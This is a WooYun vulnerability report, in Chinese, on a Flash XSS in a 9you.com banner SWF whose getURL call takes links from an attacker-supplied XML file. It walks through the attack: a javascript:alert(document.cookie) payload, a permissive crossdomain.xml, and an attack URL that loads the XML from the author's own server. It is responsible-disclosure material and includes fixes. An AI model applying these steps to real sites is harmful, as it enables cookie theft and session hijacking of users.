当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018472

漏洞标题:久游网FLASH安全问题深入分析与利用(一)

相关厂商:久游网

漏洞作者: _Evil

提交时间:2013-02-08 13:16

修复时间:2013-03-25 13:17

公开时间:2013-03-25 13:17

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-08: 细节已通知厂商并且等待厂商处理中
2013-02-08: 厂商已经确认,细节仅向厂商公开
2013-02-18: 细节向核心白帽子及相关领域专家公开
2013-02-28: 细节向普通白帽子公开
2013-03-10: 细节向实习白帽子公开
2013-03-25: 细节向公众公开

简要描述:

getURL安全问题.

详细说明:

案例:

lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml


这类型调用方式, 调用的外部配置或数据文件后缀,如: xml等
Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0
函数A内容如下:

//as3.0版本
navigateToURL(new URLRequest(参数), "_self");
//as2.0版本
getURL(参数,"_self");


案例是2.0版本的.
其中参数就是被打开的链接。
如果参数是 "javascript:alert(1)"
那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的

<a href="javascript:alert(1)">点我弹出1</a>


我们先看看xml配置文件中的信息:

1.jpg


item_url 为显示的图片地址
link 点击图片的跳转的参数;此为上面所讲的可控参数.
逆向看看这个swf:

getURL(bcastr_link_array[this.id], "_blank");


找到类似代码,我们看变量名字可以看出bcastr_link_array因该是link标签的数组,跟踪下bcastr_link_array.

bcastr_link_array = new Array();
.............................
while (i < item_total_num)
{
bcastr_flie_array.push(bcastr_xml.firstChild.childNodes[i].attributes.item_url);
bcastr_title_array.push(bcastr_xml.firstChild.childNodes[i].attributes.itemtitle);
bcastr_link_array.push(bcastr_xml.firstChild.childNodes[i].attributes.link);
++i;
}


证明了我们的猜想,数组循环赋值.

漏洞证明:

漏洞利用:
将link标签地址转换为我们的攻击代码,如

javascript:alert(document.cookie);


跨域操作.
在我们自己网站的根目录下,放置一个 crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="网站" />
</cross-domain-policy>


本例子中网站->改为:*.9you.com(匹配任意的9you.com子域名)
最后的攻击连接:

http://lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=http://127.0.0.1:8080/bcastr.xml


http://127.0.0.1:8080/bcastr.xml

为我搭建的环境.

2.jpg


3.jpg


好了点击下里面的图片.

4.jpg

修复方案:

对XML中传入的link url进行正则判断
或者
限制加载第三方网站的XML文件
贵站排查好这类型的swf文件,我就不刷分了哈哈.

版权声明:转载请注明来源 _Evil@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-02-08 14:25

厂商回复:

漏洞可以对客户端造成攻击。

最新状态:

暂无